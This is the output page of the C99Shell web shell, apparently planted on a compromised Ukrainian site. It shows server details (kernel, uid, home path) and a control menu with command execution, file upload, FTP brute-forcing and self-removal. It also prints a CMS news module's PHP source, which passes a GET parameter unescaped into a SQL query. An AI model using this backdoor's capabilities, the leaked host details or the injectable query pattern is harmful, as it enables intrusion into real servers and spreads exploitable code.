!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules/news/   drwxr-xr-x
Free 106.79 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (16.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class News
{
    var 
$UserMode   true;
    var 
$AdminMode  true;
    var 
$SearchMode true;
    var 
$PanelMode  true;
    var 
$Table;
    var 
$Directory;
    var 
$CountOfNews;
    var 
$ClassName 'News';
    var 
$AdminAsynchMode true;
    var 
$Photomanager;
    function 
News()
    {
        
$this->Directory dirname(__FILE__);
        
$this->Table = new AMTable2('AMCMS_news');
        
$this->Table->AddIndexField('news_id');
        
$this->Table->AddPositionField("news_position");
        
$this->Table->Module($this->ClassName);
        
$this->CountOfNews GetParam('NewsCount');
        
$params['main']             = GetParam("NewsMainPhotoSize");
        
$params['text']['small']     = GetParam("NewsSmallPhotoSize");
        
$params['text']['big']         = GetParam("NewsBigPhotoSize");
        
$this->Photomanager = new AMPhotomanager($params);
    }
    function 
User()
    {                
        global 
$ULANG$ulang;
        if (isset(
$_GET['edit']) && isset($_GET['news_id']))
        {
            if ((
$_SESSION['user']['user_access']['admin'] != 'Y') and ($_SESSION['user']['user_access']['news'] != 'Y'))
                return;
            global 
$ALANG$alang;            
            
$smarty GetUserSmarty($this->ClassName);
            if (isset(
$_POST['edit']))
            {                
                
$_POST['news_date_of_edition'] = GetCurrentDateAndTime();                                            
                
$_POST['news_date'] = DateConvert($_POST['news_date_year'], $_POST['news_date_month'], $_POST['news_date_day'], $_POST['news_date_hours'], $_POST['news_date_minutes']);                
                
$id $_GET['news_id'];
                
$error $this->Table->Update($_POST$id);
                
$this->Photomanager->Run($_POST$_FILES$this->ClassName, ($this->Table->IndexField."=".$id));
                
$index 1;                
                
header("Location: /news/p{$id}");
                die;
            }                
            
$id $_GET['news_id'];
            
$row $this->Table->GetRowById($id);
            foreach(
$row as $key => $value)
                
$smarty->assign($key$value);
            
$smarty->assign($key$value);
            
$smarty->assign('oper''edit');
            
$photo_admin_table1 $this->Photomanager->GetAdminTable$this->ClassName, ($this->Table->IndexField."=".$id),'main');
            
$photo_admin_table2 $this->Photomanager->GetAdminTable$this->ClassName, ($this->Table->IndexField."=".$id),'photos');
            
$smarty->assign('photo_admin_table1'$photo_admin_table1);
            
$smarty->assign('photo_admin_table2'$photo_admin_table2);

            
$result['Title']     = $ULANG['AMCMS_news']['NewsEditing'];                
            
$result['Content']     = $smarty->fetch('news.tpl');
            
$navigator = new AMNavigator();
            
$navigator->AddLink(GetParam("Module{$this->ClassName}"$ulang), "/news");
            
$navigator->AddLink($row['news_title_'.$ulang], "/news/p{$row['news_id']}");
            
$navigator->AddLink($ULANG['AMCMS_news']['NewsEditing'], "#");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;
        }
        if (isset(
$_GET['delete']) && isset($_GET['news_id']))
        {
            if ((
$_SESSION['user']['user_access']['admin'] != 'Y') and ($_SESSION['user']['user_access']['news'] != 'Y'))
                return;            
            global 
$ALANG$alang;            
            
$smarty GetUserSmarty($this->ClassName);
            if (isset(
$_POST['delete']))
            {                
                
$this->Table->Delete($_GET['news_id']);
                
header("Location: /news/");
                die;
            }                
            
$id $_GET['news_id'];
            
$row $this->Table->GetRowById($id);
            foreach(
$row as $key => $value)
                
$smarty->assign($key$value);
            
$smarty->assign($key$value);
            
$smarty->assign('oper''delete');
            
$result['Title']     = $ULANG['AMCMS_news']['DeletingNews'];
            
$result['Content']     = $smarty->fetch('news-delete.tpl');
            
$navigator = new AMNavigator();
            
$navigator->AddLink(GetParam("Module{$this->ClassName}"$ulang), "/news");
            
$navigator->AddLink($row['news_title_'.$ulang], "/news/p{$row['news_id']}");
            
$navigator->AddLink($ULANG['AMCMS_news']['DeletingNews'], "#");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;
        }
        
        if (isset(
$_GET['add']))
        {
            if ((
$_SESSION['user']['user_access']['admin'] != 'Y') and ($_SESSION['user']['user_access']['news'] != 'Y'))
                return;    
            global 
$ALANG$alang;            
            
$smarty GetUserSmarty($this->ClassName);
            if (isset(
$_POST['add']))
            {
                
$_POST['news_date_of_creation'] = GetCurrentDateAndTime();
                
$_POST['news_date_of_edition']  = GetCurrentDateAndTime();                      
                
$_POST['news_date'] = DateConvert($_POST['news_date_year'], $_POST['news_date_month'], $_POST['news_date_day'], $_POST['news_date_hours'], $_POST['news_date_minutes']);
                
$id $this->Table->Insert($_POST);
                
$this->Photomanager->Run($_POST$_FILES$this->ClassName, ($this->Table->IndexField."=".$id));
                
header("Location: /news/p{$id}");
                die;
            }                  
            foreach(
$_POST as $key => $value)
                
$smarty->assign($key$value);
            
$smarty->assign('oper''add');
            
$smarty->assign('news_date'GetCurrentDateAndTime());
            
$smarty->assign('news_show_title''Y');
            
$smarty->assign('news_show_read_more_link''Y');
            
$smarty->assign('news_show_date''Y');                

            
$photo_admin_table1 $this->Photomanager->GetAdminTable$this->ClassName, ($this->Table->IndexField."=".$id),'main');
            
$photo_admin_table2 $this->Photomanager->GetAdminTable$this->ClassName, ($this->Table->IndexField."=".$id),'photos');
            
$smarty->assign('photo_admin_table1'$photo_admin_table1);
            
$smarty->assign('photo_admin_table2'$photo_admin_table2);                  
            
$result['Title']     = $ULANG['AMCMS_news']['NewsAdding'];                
            
$result['Content']     = $smarty->fetch('news.tpl');
            
$navigator = new AMNavigator();
            
$navigator->AddLink(GetParam("Module{$this->ClassName}"$ulang), "/news");
            
$navigator->AddLink($ULANG['AMCMS_news']['NewsAdding'], "/news/add");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;
        }
        if (isset(
$_GET['news']))
        {        
            
$where "";
            
$html "";
//            $year = GetCurrentYear();            
            
if (isset($_GET['year']) && ($_GET['year'] >= 2000) && ($_GET['year'] <= 2050))
                
$year $_GET['year'];
            if (isset(
$_GET['month']) && ($_GET['month'] >= 1) && ($_GET['month'] <= 12))
                
$month $_GET['month'];
            if (isset(
$_GET['day']) && ($_GET['day'] >= 1) && ($_GET['day'] <= 31))
                
$day $_GET['day'];
            if (!empty(
$year) and empty($month) and empty($day))
            {
                
$date1 "{$year}-01-01";
                
$year2 $year 1;
                
$date2 "{$year2}-01-01";               
                
$where "(news_date >= '$date1') AND (news_date < '$date2')";
            }
            if (!empty(
$year) and !empty($month) and empty($day))
            {
                
$date1 "{$year}-{$month}-01";                
                
$month2 $month 1;
                
$year2 $year;
                if (
$month2 12)
                {
                   
$month2 1;
                   
$year2++;
                } 
                
$date2 "{$year2}-{$month2}-01";               
                
$where "(news_date >= '$date1') AND (news_date < '$date2')";
            }
            if (!empty(
$year) and !empty($month) and !empty($day))
            {
                
$date1 "{$year}-{$month}-{$day} 00:00:00";                
                
$date2 "{$year}-{$month}-{$day} 23:59:59";                
                
$where "(news_date >= '$date1') AND (news_date <= '$date2')";
            }
            if (empty(
$year) and empty($month) and empty($day))
            {
                
//$prewweek = date('Y-m-d', strtotime("-5 week"));
                //$now = date('Y-m-d');            
                //$where = "(news_date between '{$prewweek} 00:00:00' and '{$now} 23:59:59')";
                
$where "true";
            }
//            $rows = $this->Table->GetRows("news_date DESC", $where);
            
if (isset($_GET['text']))
            {
                
$text $_GET['text'];
                
$where "(news_title_{$ulang} LIKE '%$text%') OR (news_text_{$ulang} LIKE '%$text%')";
                unset(
$now);
            }
            
$count mysql_fetch_assoc(mysql_query("SELECT COUNT(*) as count FROM AMCMS_news WHERE $where ORDER BY news_date DESC"));
            
$count $count['count'];
            
$page_navigator = new AMPageNavigator($count$_GET['pageNum'], 20);
            
$limit $page_navigator->GetLimitStatement();

            
$sql "SELECT * FROM AMCMS_news WHERE $where ORDER BY news_date DESC $limit";
            
$res mysql_query($sql);
            
$rows = array();
            while (
$row mysql_fetch_assoc($res))
            {
                
$rows[] = $row;
            }
            
$smarty GetUserSmarty($this->ClassName);
            
$smarty->assign("pnav"$page_navigator->GetNavigator());
            
$smarty->assign('year'$year);
            
$smarty->assign('month'$month);
            
$smarty->assign('day'$day);
            
$smarty->assign('rows'$rows);
            if (empty(
$now))
                
$smarty->assign('count'$count);
            
$smarty->assign('Photomanager'$this->Photomanager);
            
$smarty->assign('mod'$this->ClassName);
            
$title GetParam("Module{$this->ClassName}"$ulang);
            
$result['Title'] = $title;
            
$result['Content'] = $html.$smarty->fetch("user-row.tpl");
            
$navigator = new AMNavigator();
            
$navigator->AddLink($title"/news");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;
        }
        if (isset(
$_GET['news_id']))
        {
            
$row $this->Table->GetRowById($_GET['news_id']);
            if (
$row == null)
                return;            
            
$result['Title'] = $row['news_title_'.$ulang];
            
$smarty GetUserSmarty($this->ClassName);
            
$smarty->assign("navigator"$nav);
            
$smarty->assign('row'$row);
            
$smarty->assign('Photomanager'$this->Photomanager);
            
$smarty->assign('mod'$this->ClassName);
            
$result['Content'] = ReplaceImages($smarty->fetch("user-page.tpl"));
            
$navigator = new AMNavigator();
            
$date DateExplode($row['news_date']);            
            
$link "/news/"
            
$title GetParam("Module{$this->ClassName}"$ulang);
            
$navigator->AddLink($title$link);
            
$navigator->AddLink($row['news_title_'.$ulang], "#");
            
$photo $this->Photomanager->GetMainPhoto($this->ClassName"news_id={$row['news_id']}");
            
$result['GlobalParams']['MainImage'] = "/".$photo['photo_filename'];
            
$result['GlobalParams']['Description'] = str_replace('\n',' ',strip_tags($row['news_short_text_'.$ulang]));
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;            
        }
    }    
    function 
Menu()
    {
        global 
$ALANG;
        return array(
                array(
'title' => $ALANG['NewsMenuAdd'],  'link' => '?mod='.$this->ClassName.'&add'),
                array(
'title' => $ALANG['NewsMenuList'], 'link' => '?mod='.$this->ClassName.'&list'),
            );
    }
    function 
Admin()
    {
            global 
$ALANG$alang;
            
$smarty GetAdminSmarty($this->ClassName);
        
            if (isset(
$_GET['list']))
            {                
                
$smarty GetAdminSmarty($this->ClassName);
                
$year  GetCurrentYear();
                
$month = (int)GetCurrentMonth();
                if (isset(
$_GET['month']))
                    
$month $_GET['month'];
                if (isset(
$_GET['year']))
                    
$year $_GET['year'];                
                if (isset(
$_POST['month']))
                    
$month $_POST['month'];
                if (isset(
$_POST['year']))
                    
$year $_POST['year'];                
                if (isset(
$_POST['news_date_month']))
                    
$month $_POST['news_date_month'];
                if (isset(
$_POST['news_date_year']))
                    
$year $_POST['news_date_year'];    
                
$smarty->assign("year",  $year);
                
$smarty->assign("month"$month);                
                
$selectorHtml $smarty->fetch("month.tpl");                
                
$date1 "{$year}-{$month}-01";                
                
$month2 $month 1;
                
$year2 $year;
                if (
$month2 12)
                {
                   
$month2 1;
                   
$year2++;
                } 
                
$date2 "{$year2}-{$month2}-01";                
                
$fields     = array("news_date""news_title_".GetParam("DefaultLanguage"));
                
$captions   = array($ALANG['News_news_date'], $ALANG['News_news_title']);
                
$conditions = array("(news_date >= '{$date1}')""(news_date < '{$date2}')");
                
$order        "news_date DESC";
                
$links         = array("checkbox""delete""edit");
                
$multiple    = array("delete");
                
$params     = array("id" => "news");
                
$html $this->Table->GetAdminTable($fields$captions$conditions$order$links$multiple$params);                                
                
$result['Title']     = $ALANG['NewsList'];
                
$result['Content']  = $selectorHtml.$html;
                return 
$result;
            }
            if (isset(
$_GET['add']))
            {
                    if (isset(
$_POST['add']))
                    {
                        
$_POST['news_title_ukr'] = addslashes($_POST['news_title_ukr']);
                        
$_POST['news_title_rus'] = addslashes($_POST['news_title_rus']);
                        
$_POST['news_title_eng'] = addslashes($_POST['news_title_eng']);
                        
$_POST['news_date_of_creation'] = GetCurrentDateAndTime();
                        
$_POST['news_date_of_edition']  = GetCurrentDateAndTime();                      
                        
$_POST['news_date'] = DateConvert($_POST['news_date_year'], $_POST['news_date_month'], $_POST['news_date_day'], $_POST['news_date_hours'], $_POST['news_date_minutes']);
                        
$id $this->Table->Insert($_POST);
                        
$this->Photomanager->Run($_POST$_FILES$this->ClassName, ($this->Table->IndexField."=".$id));
                        
header("Location: ?mod=".$this->ClassName."&list&month=".$_POST['news_date_month']."&year=".$_POST['news_date_year']);
                        die;
                    }                  foreach(
$_POST as $key => $value)
                      
$smarty->assign($key$value);
                  
$smarty->assign('oper''add');
                
$smarty->assign('news_date'GetCurrentDateAndTime());
                  
$smarty->assign('news_show_title''Y');
                  
$smarty->assign('news_show_read_more_link''Y');
                
$smarty->assign('news_show_date''Y');                

                
$photo_admin_table1 $this->Photomanager->GetAdminTable$this->ClassName, ($this->Table->IndexField."=".$id),'main');
                
$photo_admin_table2 $this->Photomanager->GetAdminTable$this->ClassName, ($this->Table->IndexField."=".$id),'photos');
                
$smarty->assign('photo_admin_table1'$photo_admin_table1);
                
$smarty->assign('photo_admin_table2'$photo_admin_table2);                  
                  
$result['Title']     = $ALANG['NewsAdd'];                
                  
$result['Content']     = $smarty->fetch('news.tpl');
                return 
$result;
            }
            if (isset(
$_GET['edit']) && isset($_GET['news_id']))
            {
                if (isset(
$_POST['edit']))
                {                
                    
$_POST['news_title_ukr'] = addslashes($_POST['news_title_ukr']);
                    
$_POST['news_title_rus'] = addslashes($_POST['news_title_rus']);
                    
$_POST['news_title_eng'] = addslashes($_POST['news_title_eng']);
                    
$_POST['news_date_of_edition'] = GetCurrentDateAndTime();                                            
                    
$_POST['news_date'] = DateConvert($_POST['news_date_year'], $_POST['news_date_month'], $_POST['news_date_day'], $_POST['news_date_hours'], $_POST['news_date_minutes']);                
                    
$id $_GET['news_id'];
                    
$error $this->Table->Update($_POST$id);
                    
$this->Photomanager->Run($_POST$_FILES$this->ClassName, ($this->Table->IndexField."=".$id));
                    
$index 1;                
                    
header("Location: ?mod=".$this->ClassName."&list&month=".$_POST['news_date_month']."&year=".$_POST['news_date_year']);
                    die;
                }                
                
$id $_GET['news_id'];
                
$row $this->Table->GetRowById($id);
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');
                
$photo_admin_table1 $this->Photomanager->GetAdminTable$this->ClassName, ($this->Table->IndexField."=".$id),'main');
                
$photo_admin_table2 $this->Photomanager->GetAdminTable$this->ClassName, ($this->Table->IndexField."=".$id),'photos');
                
$smarty->assign('photo_admin_table1'$photo_admin_table1);
                
$smarty->assign('photo_admin_table2'$photo_admin_table2);
                  
$result['Title']     = $ALANG['NewsEdit'];
                  
$result['Content']         = $smarty->fetch('news.tpl');
                  return 
$result;                    
            }
    }        
    function 
Panel()
    {
        global 
$ULANG$ulang;
        
$rows $this->Table->GetRows("news_date DESC""""0,7");
        
$smarty GetUserSmarty($this->ClassName);
        
$smarty->assign('rows'$rows);
        
$smarty->assign('Photomanager'$this->Photomanager);
        
$smarty->assign('mod'$this->ClassName);
        
$result['News'] = array( 'Title' => GetParam("Module{$this->ClassName}Panel"$ulang),
                                 
'Content' => "<div class=\"News Panel\">".$smarty->fetch("user-panel.tpl")."</div>",
                                 
'Module' => $this->ClassName,
                                 
'Link' => array("Address" => "/news",
                                                 
"Title"   => $ULANG['NewsArchiveLinkTitle'],
                                                 
"Class"   => "archive"));
        return 
$result;
    }
    function 
Search($words)
    {
        global 
$ulang$ULANG;        
        
$fields = array("news_title_".$ulang"news_short_text_".$ulang"news_description_".$ulang"news_text_".$ulang"news_keywords_".$ulang);
        
$rows SearchOnSite($words, array('news_title_'.$ulang"news_date_of_creation"), 'news_id'$fields'AMCMS_news');
        
$searchRows = array();
        if (
$rows)
        foreach(
$rows as $key => $value)
        {
            
$row['Module'] = $this->ClassName;
            
$row['Date']   = $value['news_date_of_creation'];
            
$row['Title']  = $value['news_title_'.$ulang];
            
$row['Link']   = "/news/{$value['news_id']}";
            
$row['Relev']  = $value['relev'];                
            
$row['NewWindowLink'] = $row['Link'];
            
$searchRows [] = $row;
        }
        return 
$searchRows;
    }
    function 
AdminAsynch()
    {
        global 
$alang$ALANG;
        
$this->Table->Run($_POST);        
    }    

$Modules ["News"] = new News();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.023 ]--